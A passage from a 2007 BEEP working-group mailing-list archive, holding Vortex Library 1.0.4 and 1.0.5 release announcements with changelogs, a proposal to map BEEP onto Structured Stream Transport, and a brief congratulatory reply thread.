  vortex_io_waiting_invoke_add_to_fd_group to drop the connection not
  fully handled.

* [fix] Making vortex reader to check for automatic dispatch for the
  current I/O mechanism selected, and fallback into the default check
  based on "is-set".

* [fix] Making vortex_io_waiting_use to be callable before
  vortex_init.

* [fix] Removed G_GINT64_CONSTANT declaration for MAX_SEQ_MOD.

* [fix] Fixing documentation error and updated windows definition
  file.

* [fix] Committing updates to include checkings to activate I/O support
  from vortex. Updated version files and latest change notification.

* [fix] Updated documentation to include references to the new I/O
  support.
  
* [fix] Fixed bug at the SASL server side layer which was causing to
  not allow renegotiate the sasl auth once a previous failed one was
  done.

* [fix] Making channel 0 start message handling to check if the
  profile requested is filtered for the connection that is holding the
  request.

* [fix] Updating autoconf files to check and properly detect threading
  installation.

* [fix] Improved epoll checks to ensure it is really supported (not
  only by checking headers).

* [fix] Fixed wrong declaration for pthread flags.

* [fix] Fixed and updated vortex documentation.

* [new] Added initial files and modifications to support the TUNNEL
  profile.  Updated vortex handlers and types to include some initial
  definitions.  Added new module vortex tunnel. API added:

   - VortexTunnelSettings (type)
   - VortexTunnelItem (TUNNEL_END_CONF, TUNNEL_FQDN, TUNNEL_PORT
                       TUNNEL_IP4, TUNNEL_IP6, TUNNEL_SRV,
                       TUNNEL_URI, TUNNEL_ENDPOINT).
   - vortex_tunnel_settings_new
   - vortex_tunnel_settings_add_hop
   - vortex_tunnel_new
   - vortex_tunnel_settings_free

* [fix] Fixed bug introduced at the xml-rpc-gen tool due to its port
  to windows while reading lines from the user command line.

* [new] Finished TUNNEL profile implementation for client, server and
  middle hop. Great!!!

* [fix] Updated several tests to check the TUNNEL profile including
  regression tests and the client connections test.

* [fix] Making vortex_cond_wait and vortex_cond_timedwait to return a
  status value to report any error found. Used this update to ensure
  the wait-for-pending-replies feature implemented at the BEEP close
  to limit that operation if the session is closed not properly.

* [fix] Fixed wrong SEQ frame handler which was reporting to update
  the receiving window without waiting to be used half of the window
  already reported.

* [fix] Making vortex log handler to check only one time for the
  environment variable, reducing the overhead due to calling getenv.

* [fix] Updated vortex TLS implementation to base is tuning reset on
  the preread handler rather than the on close connection.

* [new] Added new functions to the TUNNEL api already implemented to
  check if TUNNEL profile is available, to produce proxy settings from
  a xml content and to make a BEEP peer to accept TUNNEL incoming
  request and a function to set a handler which is executed to
  resolver particular TUNNEL settings such as "endpoint", "profile"
  and "srv".

   - vortex_tunnel_is_enabled
   - vortex_tunnel_settings_new_from_xml
   - vortex_tunnel_accept_negotiation
   - vortex_tunnel_set_resolver

* [fix] Implemented an xml document cache for greetings parsing which
  is shows an stable patern, allowing to reduce the greetings parsing
  overhead from 35.17% to 10.45% (callgrind results).

* [fix] Implemented a hostname resolution cache on top of
  gethostbyname, solving its possible reentrant problems on some
  platform and speeding up host name resolution previously done.

* [fix] Making channel close reply validation to try doing a fast
  validation by checking the common string replied rather than using
  axl services to parse a minimal string.

* [fix] Making vortex channel frame received for channel 0 to use a
  fast check (based on inspecting payload headers) to detect the kind
  of message avoiding to move the payload into the xml level.

* [fix] Removed frame received on channel 0 validation which is
  performed later by each handler (start, close, ok, error).

* [fix] Fixed client connections (was not properly configuring proxy).

* [fix] Making vortex tunnel ok reply handling to use fast string
  checking before going into translating the reply into a xml doc.

* [fix] Removed GThreadFunc definitions replaced with
  VortexThreadFunc.

* [fix] Making vortex tunnel listener implementation to check for
  "<tunnel />" profile content, to quickly detect end point tunnel
  request.

* [fix] Making vortex channel start reply handling to use a reply
  cache allowing to greatly improve channel creation.

* [fix] Making some work at the vortex tunnel start request handling
  to reuse references, avoiding double memory allocation patterns.

* [fix] Updated vortex_greetings_send function to use an internal list
  from the vortex profiles rather than reallocating a new one for each
  greetings done, and removed all allocation code to build the
  greetings message, replaced by a memcpy/strlen construction.
  Reduced function overhead from 21.49% (total run-time cost,
  according to callgrind results using regression tests) to
  3.64%. Great!

* [new] Making vortex_listener_set_on_connection_accepted to support
  any number of handlers to be executed on connection accepted.

* [new] Making vortex-client to allow requesting to create new
  channels using profiles even not adviced by the listener peer.

* [fix] updated profile mask support to allow notify the rest of
  parameters that are involved in the channel creation.

* [new] Added a new function to get the first channel found on a
  connection running a profile. API added:
  
    - vortex_connection_get_channel_by_uri

* [fix] Making vortex listener server on accept new connection event
  to be triggered before the initial greetings is about to be sent.

* [new] Updated vortex hash API to allow performing foreach operations
  with two user defined pointers. API added:

   - vortex_hash_foreach2

* [fix] fixed vortex_connection_get_channel_by_uri, using previous
  function implemented.

* [new] Making vortex to allow creating channel that are even not
  advised by the remote peer. Updated vortex conf API to allow
  configuring this behavior which is allow creating any channel
  requested by default. API updated:

   VORTEX_CONF_ENFORCE_PROFILES_SUPPORTED (enum for vortex_conf_* API).

* [new] General internal update to finally remove glib dependency.
  Checked regression tests and memory consumed. Initial results shows
  no problem.

* [new] Added some documentation to show how to use the TUNNEL
  profile.

* [fix] general updates and fixings to make latest vortex library base
  code to compile and properly run on windows. I can't write more
  changes because my wife is getting annoyed!

* [fix] Removed requirement to return at least one profile in the
  initial greetings. This is now an accepted case for the vortex
  library: sending empty greetings. This is now used by turbulence and
  its profile path, to hide profiles according to the environment
  context.

* [fix] Moving to the public header all marks used from the sasl
  module to make them more available while using these marks with
  turbulence "connmark" support.

* [fix] Fixed some compilation warnings at the vortex support module
  and documented SASL marks that can be used by turbulence.

* [fix] Fixing bug at vortex_support_getenv_int while getting
  variables not defined.

* [fix] Added an internal flag (__COMPILING_VORTEX__) to protect code
  definitions that must be used while compiling vortex library, but
  not used by vortex API consumers.

* [fix] Removed MAX(a,b) definition from vortex support header because
  it is not strongly used, and because it is causing
  collisions. Updated vortex reader to use standard ?: statement to
  check for the max value.

* [fix] Updated documentation to reflect current dependencies and
  installation instructions.

* [fix] Removed glib dependency from the pkg-config file.

* [fix] Making xml-rpc-gen tool to allow including the '%' character
  inside the inline source code, at the IDL definition, without
  requiring to place an escaped sequence as: %%.

* [fix] Fixed bug which was causing to not properly append all content
  found inside the source code inline declaration at IDL format.

* [fix] Fixed wrong source code generation for array of ints at the
  server interface.

* [fix] Fixed wrong source code generation for array of strings.

* [fix] Fixed wrong source code generation for an array of booleans.

* [fix] General update to the tool to accept the type "bool" as the
  type "boolean".

* [fix] Making vortex sequencer to not flag the connection as non
  connected, avoiding race conditions with the vortex reader and the
  user space code.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
30th may 2007, Madrid (Spain)


From dkramer@apple.com Tue Jun 26 14:46:33 2007
Received: from mail-out3.apple.com (mail-out3.apple.com [17.254.13.22])
	l5QLkXYN031809
	for <beepwg@lists.beepcore.org>; Tue, 26 Jun 2007 14:46:33 -0700
Received: from relay8.apple.com (relay8.apple.com [17.128.113.38])
	by mail-out3.apple.com (Postfix) with ESMTP id AF975A5174E
	for <beepwg@lists.beepcore.org>; Tue, 26 Jun 2007 14:46:27 -0700 (PDT)
Received: from relay8.apple.com (unknown [127.0.0.1])
	by relay8.apple.com (Symantec Mail Security) with ESMTP id 9DC52400B5
	for <beepwg@lists.beepcore.org>; Tue, 26 Jun 2007 14:46:27 -0700 (PDT)
X-AuditID: 11807126-a18ccbb0000007dd-75-468189338409
Received: from [17.221.41.212] (int-si-a.apple.com [17.128.113.41])
	(using TLSv1 with cipher AES128-SHA (128/128 bits))
	(No client certificate requested)
	by relay8.apple.com (Apple SCV relay) with ESMTP id 7C35A4008B
	for <beepwg@lists.beepcore.org>; Tue, 26 Jun 2007 14:46:27 -0700 (PDT)
Message-Id: <A5C6BD09-5FCE-452B-9BD5-38FEF4C68601@apple.com>
From: David Kramer <dkramer@apple.com>
To: beepwg@lists.beepcore.org
Content-Type: text/plain; charset=WINDOWS-1252; format=flowed; delsp=yes
Mime-Version: 1.0 (Apple Message framework v890.2)
Date: Tue, 26 Jun 2007 14:46:27 -0700
X-Mailer: Apple Mail (2.890.2)
X-Brightmail-Tracker: AAAAAA==
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l5QLkXYN031809
Subject: [BEEPwg] BEEP mapping for SST?
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 26 Jun 2007 21:46:34 -0000

Hello BEEP working group,

I was reading about Structured Stream Trasport (SST):

http://pdos.csail.mit.edu/uia/sst/

And it appears to be attempting to address some of the same issues as  
BEEP.  Here is the abstract from the research paper (<http://www.brynosaurus.com/pub/net/sst-abs.html 
 >):
> Internet applications currently have a choice between stream and  
> datagram transport abstractions. Datagrams efficiently support small  
> transactions and streams are suited for long-running conversations,  
> but neither abstraction adequately supports applications like HTTP  
> that exhibit a mixture of transaction sizes, or applications like  
> FTP and SIP that use multiple transport instances. Structured Stream  
> Transport (SST) enhances the traditional stream abstraction with a  
> hierarchical hereditary structure, allowing applications to create  
> lightweight child streams from any existing stream. Unlike TCP  
> streams, these lightweight streams incur neither 3-way handshaking  
> delays on startup nor TIME-WAIT periods on close. Each stream offers  
> independent data transfer and flow control, allowing different  
> transactions to proceed in parallel without head-of-line blocking,  
> but all streams share one congestion control context. SST supports  
> both reliable and best-effort delivery in a way that semantically  
> unifies datagrams with streams and solves the classic “large  
> datagram” problem, where a datagram's loss probability increases  
> exponentially with fragment count. Finally, an application can  
> prioritize its streams relative to each other and adjust priorities  
> dynamically through out-of-band signaling. A user-space prototype  
> shows that SST is TCP-friendly to within 2%, and performs comparably  
> to a user-space TCP and to within 10% of kernel TCP on a WiFi network.
>
In fact, in the research paper specifically mentions BEEP:
> The popularity of SSL  [17] and SSH tunneling  [55] attest to the  
> demand for multiplexing logical streams onto a secure channel. MUX   
> [23] and BEEP  [44] similarly multiplex logical streams onto one TCP  
> stream, layering their own flow control atop TCP’s. These protocols  
> exacerbate TCP’s drawbacks, however, by totally ordering many  
> unrelated activities so that one lost packet blocks everything  
> behind it.
>
It seems to me that the author is slightly mis- (or under-) informed  
about BEEP, since he confuses BEEP (RFC 3080) with the TCP mapping  
(RFC 3081).

Rather than SST and BEEP being at odds with each other, I think there  
is a lot of potential synergy.  After I read the SST paper I got very  
excited about the possibility of creating an SST mapping of BEEP.  SST  
would eliminate the need for BEEP to multiplex multiple channels over  
a single stream and provide greater efficiency, while BEEP could  
provide helpful application protocol structure that SST doesn't, such  
as profiles and MIME.

I am curious if anyone else on the list has taken a look at SST or  
considered mapping BEEP onto it.  The mapping looks like it would  
pretty straightforward, except that I'm not sure how one would  
implement session transport tuning such as TLS on SST.  If each BEEP  
channel were a substream then it seems you would need to have a unique  
TLS session for each channel rather than the session.

Since SST is not an industry standard (or even an RFC) at this time I  
wonder if the BEEP and SST folks could collaborate to ensure that SST  
becomes the premiere BEEP mapping.  There might still be time to  
convince the SST folks to take changes that would make it easier to  
map BEEP to it, or perhaps this working group could define extensions  
to BEEP (channel transport tuning?) to make it easier to map to SST.

Another interesting aspect of SST is that it can be implemented on top  
of UDP, so the usual tricks that allow bi-directional UDP traffic to  
pass through multiple NATs might also be used to allow BEEP  
connections to be made between two peers that are both behind NAT.

-David


From francis@aspl.es Fri Jul 13 05:02:17 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l6DC2DlY022203;	Fri, 13 Jul 2007 05:02:16 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1I9JqM-0003OA-00; Fri, 13 Jul 2007 14:01:54 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 13 Jul 2007 14:01:56 +0200
Message-Id: <1184328116.4282.17.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.10.1 
X-Scanner: exiscan *1I9JqM-0003OA-00*Bmb28r7k90.*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l6DC2DlY022203
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.4 "the union forever" release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 13 Jul 2007 12:02:18 -0000

              ######################################
              ##       Vortex Library 1.0.4       ##
              ##    "the union forever release"   ##
              ######################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.4 "the union forever" release availability: an open
  source "BEEP Core" protocol implementation written in C, mapped onto
  TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

   Updates to the xml-rpc-gen tool to support group services under
   same resources, and to perform an efficient service dispatch under
   this situations. Bug fixings and other minor changes to accommodate
   the output produced by the tool with a Turbulence module.

   Fixed bugs and updated regression test to include more tests to
   ensure proper function in future release especially for the
   xml-rpc-gen output code and the XML-RPC profile.

   Provided a missing API to allow getting the serverName under which
   the connection is working.
  
Thanks to..
~~~~~~~~~~~

   Jens Alfke (Reported and provided solution to some compilation
   errors found under the MacOS/X platform and the XCode tool).

   Graham Daws (Reported wrong mime handling).
  

Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Changes since 1.0.3
~~~~~~~~~~~~~~~~~~~

xml-rpc-gen:

* [fix] Fixed bug which was causing to produce a service_dispatch.c
  file including wrongly modules with "-" values inside its name.

* [new] Updated IDL language and the tool to support resource
  declaration allowing to group services under a particular resource.

* [fix] Making the tool to not create the conf.xml file if the main
  file for the server component is disabled (--disable-main-file).

libvortex:

* [fix] Fixed wrong piggyback handling which was causing to register a
  piggyback with empty content (where no piggyback was received).

* [new] Updated regression tests to check serverName connection
  flagging.  Tests checks serverName value for a provided connection at
  the client and the server side, after creating several channels
  requesting to act as a particular server.

* [new] Updated vortex connection module to include a missing function
  which allows to get current serverName bound to the connection
  (first successful start message configuring it). API added:

   - vortex_connection_get_server_name

* [new] Updated vortex xml-rpc implementation to accept several
  dispatch and validation handlers to be configured at the same
  time. This will allow several modules to include its dispatching
  functions under different resources and services. Nice!

* [new] Updated vortex xml-rpc API to allow getting the resource under
  which is running a XML-RPC channel. API added:

   - vortex_xml_rpc_channel_get_resource

* [fix] Committing body and headers for the source code generated by
  the xml-rpc-gen tool to allow compiling regression test in a easy
  manner in other platforms where xml-rpc-gen tool is not
  available. This will also allow to trace xml-rpc-gen behavior when
  updates are included.

* [fix] Updated vortex regression test to integrate all work done to
  check xml-rpc-gen compiler and all test unit created to check each
  feature built.  Now vortex-regression-client and
  vortex-regression-listener will check both. Good!

* [fix] Enforced #ifdef header declaration to avoid compilation
  problems with Xcode. (Reported Jens Alfke).

* [fix] Removing some references to gint.

* [fix] Added new function to get the string inside a
  XmlRpcMethodValue but receiving an allocated value:

   - vortex_xml_rpc_method_value_get_as_string_alloc

* [new] Updated xml-rpc interface to include some convenience
  functions to create XmlRpcMethodValue items:

  - vortex_xml_rpc_method_value_new_int
  - vortex_xml_rpc_method_value_new_double
  - vortex_xml_rpc_method_value_new_bool

* [fix] Fixed from MIME header detection. It was done in a
  case-sensitive manner. (Reported by Graham Daws).

* [fix] Added a new function that allows to perform the "best effort"
  translating a double value, without taking into consideration the
  current locale, replacing the function strtod which fails if the
  locale is not properly synchronized with the double value to be
  translating (even knowing it is a double value). Used inside the
  xml-rpc API to double values in a more robust manner. API added:

   - vortex_support_strtod

* [fix] Added new regression tests (checking small messages followed
  by a close request).

* [fix] Fixed return code not properly reported at
  vortex_cond_timedwait.

* [fix] Fixed a bug inside vortex_cond_timedwait which wasn't properly
  calculating the waiting period.

* [fix] Making vortex sequencer to signal the last reply number sent
  on the wire allowing the close detection code to be able to *really*
  check if all replies have been sent at the close process.


About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
13th jul 2007, Madrid (Spain)


From francis@aspl.es Mon Jul 30 05:06:34 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l6UC6W1u019889;	Mon, 30 Jul 2007 05:06:33 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1IFU0w-0006cr-00; Mon, 30 Jul 2007 14:06:18 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Mon, 30 Jul 2007 14:06:16 +0200
Message-Id: <1185797176.4256.39.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.10.1 
X-Scanner: exiscan *1IFU0w-0006cr-00*e9/yCkI3I5c*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l6UC6W1u019889
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] [ANN] Vortex Library 1.0.5 "free bird" release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 30 Jul 2007 12:06:34 -0000

              ######################################
              ##       Vortex Library  1.0.5      ##
              ##        "free bird release"       ##
              ######################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.5 "free bird" release availability: an open
  source "BEEP Core" protocol implementation written in C, mapped onto
  TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  xml-rpc-gen updates to make it more robust. Now the tool, through
  the IDL language allows to group services under the same
  resource. Fixed several bugs at the code produced and included some
  checks to avoid marshall errors for NULL strings. Now the tool
  allows to include user defined code that is translated into the
  output.

  Included new functions to produce a peer certificate digest or
  content digest (now with support for MD5) and added two new macros
  that allows to get SASL auth Id easily from a channel or
  connection. Fixed some bugs and memory leaks.

  
Change notifications
~~~~~~~~~~~~~~~~~~~~

  [1] vortex-xml-rpc-gen-dispatch-01
  http://lists.aspl.es/pipermail/vortex/2007-July/000160.html


Changes since 1.0.4
~~~~~~~~~~~~~~~~~~~

libvortex,xml-rpc-gen:

* [fix] Updated xml-rpc-gen dispatch headers and body produced at the
  server component to also receive a reference to the channel where
  the invocation was received. Updated regression text to check the
  change. Updated the following functions to receive the channel 
  reference:

   - vortex_xml_rpc_unmarshall_int_sync
   - vortex_xml_rpc_unmarshall_string_sync
   - vortex_xml_rpc_unmarshall_double_sync
   - vortex_xml_rpc_unmarshall_struct_sync
   - vortex_xml_rpc_unmarshall_array_sync
  
  (Change notification: vortex-xml-rpc-gen-dispatch-01.txt)

xml-rpc-gen:

* [new] Updated the tool to produce a "copy" function for structures
  and arrays provided at the stub produced.

* [fix] Making the tool to produce a client stub that checks for NULL
  pointers for STRING and BASE64 types, replacing it with an empty
  string.

* [new] Updated the tool to produce an "add" API for array types at
  the client stub, allowing to add elements as they are produced.

* [new] Updated the tool to allow grouping services under resources,
  allowing to perform an efficient dispatch, and to hide/provide
  services as defined by the boot resource. Updated documentation to
  explain the feature.

* [new] Updated the tool to allow declaring the set of resources that
  can be used at the IDL file. Updated documentation.

* [fix] Fixed a bug at the boolean marshalling code. Now it is checked
  the returning value to be equal to "true" to case the function to
  return false in other cases (especially for negative values).

* [new] Updated the tool to allow including user defined code at the
  server side implementation (include on body).

libvortex:

* [fix] Fixed wrong default on close handler provided to a profile
  which is registered with vortex_profiles_register_extended_start.
  Updated implementation to also configure the default start handler.
  Updated regression test to check this in future releases.

* [fix] Updated REPLY_FAULT macro to be enclosed with do{}while;
  construction to enable its use at if/else structures without braces.
  Updated macro documentation to better explain its function and
  common use.

* [fix] Fixed memory leak inside vortex_connection_reconnect which was
  causing to lost the internal message reporting the problem that is
  causing a call to reconnect.

* [fix] Fixed memory leak at vortex_xml_rpc_boot_channel process which
  was causing to not dealloc serverName and resourceName declared.

* [fix] Making xml-rpc unmarshall sync operations to automatically
  dealloc the faultString created if the channel is closed or a new
  fault negotiation takes place.

* [fix] Restored MIME handling which was properly done. As expressed
  in RFC2045, 5.1 section, "Content-Type" header field is defined in a
  CASE-sensitive, and the header content in a case-insensitive.

* [new] Updated vortex_tls_get_peer_ssl_digest to allow producing md5
  digest (VORTEX_MD5) and added a new function which allows to produce
  a digest from a provided string. API added:

   - vortex_tls_get_digest

* [fix] Fixed vortex_sasl_is_authenticated to better check if a
  connection is authenticated. Now the function also checks for a sasl
  channel to be running at the connection.

* [new] Added two new macros that allows to get easily the AUTH_ID
  from a provided connection or channel. API added:

   - AUTH_ID_FROM_CONN
   - AUTH_ID_FROM_CHANNEL

* [fix] Making default io waiting add operation to check for negative
  fds.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
30h jul 2007, Madrid (Spain)


From mrose@dbc.mtview.ca.us Mon Jul 30 16:14:41 2007
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	l6UNEeLw029735;	Mon, 30 Jul 2007 16:14:40 -0700
In-Reply-To: <1185797176.4256.39.camel@vulcan.aspl>
References: <1185797176.4256.39.camel@vulcan.aspl>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <B7886190-0A93-48EC-A4A7-A45D9A637ABD@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] [ANN] Vortex Library 1.0.5 "free bird" release is ready!
Date: Mon, 30 Jul 2007 18:14:35 -0500
To: Francis Brosnan Blazquez <francis@aspl.es>
X-Mailer: Apple Mail (2.752.3)
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
cc: Vortex <vortex@dolphin.aspl.es>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 30 Jul 2007 23:14:41 -0000

>               ######################################
>               ##       Vortex Library  1.0.5      ##
>               ##        "free bird release"       ##
>               ######################################

congrats!

and i like the redesign of the website!

/mtr

From francis@aspl.es Tue Jul 31 00:00:48 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l6V70kSu004422;	Tue, 31 Jul 2007 00:00:46 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1IFliQ-0006GH-00; Tue, 31 Jul 2007 09:00:22 +0200
Subject: Re: [BEEPwg] [ANN] Vortex Library 1.0.5 "free bird" release is
	ready!
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Marshall Rose <mrose@dbc.mtview.ca.us>
In-Reply-To: <B7886190-0A93-48EC-A4A7-A45D9A637ABD@dbc.mtview.ca.us>
References: <1185797176.4256.39.camel@vulcan.aspl>
	 <B7886190-0A93-48EC-A4A7-A45D9A637ABD@dbc.mtview.ca.us>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Tue, 31 Jul 2007 09:00:22 +0200
Message-Id: <1185865223.4508.13.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.10.1 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1IFliQ-0006GH-00*xzOGGlr.4qA*
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
cc: Vortex <vortex@dolphin.aspl.es>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 31 Jul 2007 07:00:50 -0000

> congrats!
> 
> and i like the redesign of the website!

Thanks Marshall!

Cheers!

> /mtr

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Mon Aug  6 03:57:56 2007
